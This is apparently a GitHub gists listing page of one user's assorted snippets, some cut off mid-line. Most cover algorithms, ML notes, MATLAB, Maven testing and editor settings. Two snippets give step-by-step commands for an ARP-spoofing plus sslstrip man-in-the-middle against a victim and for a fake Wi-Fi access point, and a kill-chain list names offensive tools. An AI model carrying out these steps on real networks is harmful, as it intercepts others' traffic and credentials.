Skip to content

Instantly share code, notes, and snippets.

Coin Row problem:
- C_1 - C_n coins in a row
- Choose combination that maximizes $
- Can't choose 2 consecutive coins
function optChoice(coinIndex, coinRow){
if (coinIndex < 0) return 0
return Math.max((coinRow[coinIndex] + optChoice(coinIndex-2,coinRow)), optChoice(coinIndex-1,coinRow))
}
@CamiloGarciaLaRotta
CamiloGarciaLaRotta / Machine Learning dilemma
Last active November 20, 2017 21:30
Quick and dirty notes on the selection and performance analysis of models
The prediction error of a ML algorithm depends on 2 main factors:
- Bias error
-> aim to keep low
-> simplifying assumptions made by a model: underfitting
-> can be reduced by decreasing regularization and adding features
-> parametric algorithms have hight bias
-> non-parametric algorithms have low bias algorithms
- Variance error
-> aim to keep low
1. Once conencted to a given LAN, determine the default gateway: route -n
2. Scan the network serviced by the gateway: nmap IP_RANGE
3. Enable port forwarding: echo “1” > /proc/sys/net/ipv4/ip_forward
4. Place your machine in the middle of the communication: arpspoof -i INTERFACE -t VICTIM_IP GATEWAY_IP
5. Modify the firewall to redirect inbound HTTP traffic to SSL strip listenign port: iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT –to-port 1000
6. Begin stripping SSL from HTTPS communication: sslstrip -l 1000
7. Follow clear text packets: tail -f sslstrip.log
Environment: NIC with monitor mode capabilities
1. Enable monitor mode in NIC
- Take down the internet facing interface: ifconfic INTERFACE down
- Enable monitor mode: iwconfig INTERFACE mode monitor
- Kill all processes that might conflict with aircrack: airmon-ng check INTERFACE, kill PID
2. Set up fake Access Point
- Retrieve network parameters of WiFI access point: airodump-ng INTERFACE
- Create fake Access Point: airbase-ng -a MAC --essid SSID -c CHANNEL INTERFACE
Kill Chain example
Reconnaisance:
Sniffing: tcpdump, netcat, nmap, sqlmap + wireshark
Spoofing: Bettercap, arpspoof
Proxy: BurpSuite
Attack: MSF, SET
Choose desired vulnerability
Choose desired payload
Deliver bundle
+----+---------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
| # | Vulnerability | Explanation | How To Avoid |
+----+---------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------
table.Properties Access table properties
t{i} Access by index
t(2:end,[1, 5]) From t make new table w/ specific cols/rows
{'var1','var2'} Also valid form to access cols
t.newVar = Add new col to table
t = datetime(timestamp) Create datetime table
hour(t), day(t), ...
t{[i j],'colName'} = {'';''} Modify values in position i,j of column in table
when sorting a list that has a relationship with another list,
@CamiloGarciaLaRotta
CamiloGarciaLaRotta / maven-plugin-testing-rant
Created September 21, 2018 06:12
On testing Maven plugins and other deamons
Recall Maven strictly follows the lifecycles: validate, compile, test, package, verify, install, deploy.
Attempting to switch the order of any of the lifecycles can only be done through hacky approaches
(for example, the way we override the default maven-compiler by setting the compile lifecycle phase
of the compiler to "None" and we push the compilation to the validation phase)
Here's the resume of my adventures testing Maven plugins:
Maven-verifier: can execute arbitrary lifecycles on a dummy project. Hence can assert on its artifacts, on stdout/err and logfiles
issue: the dummy project requires the plugin under test to already be available in the local artifact repository.
but due to the lifecycle order, the integration tests (verify phase) are run before the artifact is stored in the local repo (install)
@CamiloGarciaLaRotta
CamiloGarciaLaRotta / Tack Brainstorming
Last active April 4, 2019 00:42
Design Thinking results for the Tack concept
The concept of a job application tracking helper came about for the semester project for ECSE 428 at McGill University.
The purpose of the class being applying learned SW Engineering methodologies and CS concepts to design and implement a product.
Because groups were made of 15 students, the basic idea of a helped got expanded to accomodate extra features.
We ended up with a web app (with auth & inhouse job applications) and a Chrome Extension helper.
There was no rigorous process to understand completely the issue trying to be solved.
But I believe we hit not so far from a good target.
Hence, I want to go back to understanding the users & framing the problems they encounter while job hunting.
I want to then strip down the existent system from any unecessary components, in order to have just a
standalone (no server required) web extension which addresses some of thecore problems of job hunting.
@CamiloGarciaLaRotta
CamiloGarciaLaRotta / settings.json
Created April 2, 2019 18:06
MOE VSCode settings
{
"python.pythonPath": "${workspaceFolder}/.venv/bin/python",
"python.autoComplete.addBrackets": true,
"python.unitTest.unittestEnabled": true,
"python.unitTest.pyTestEnabled": false,
"python.unitTest.nosetestsEnabled": false,
"python.linting.pylintArgs": [
"--ignored-classes=Resource",
"--max-line-length=135"
],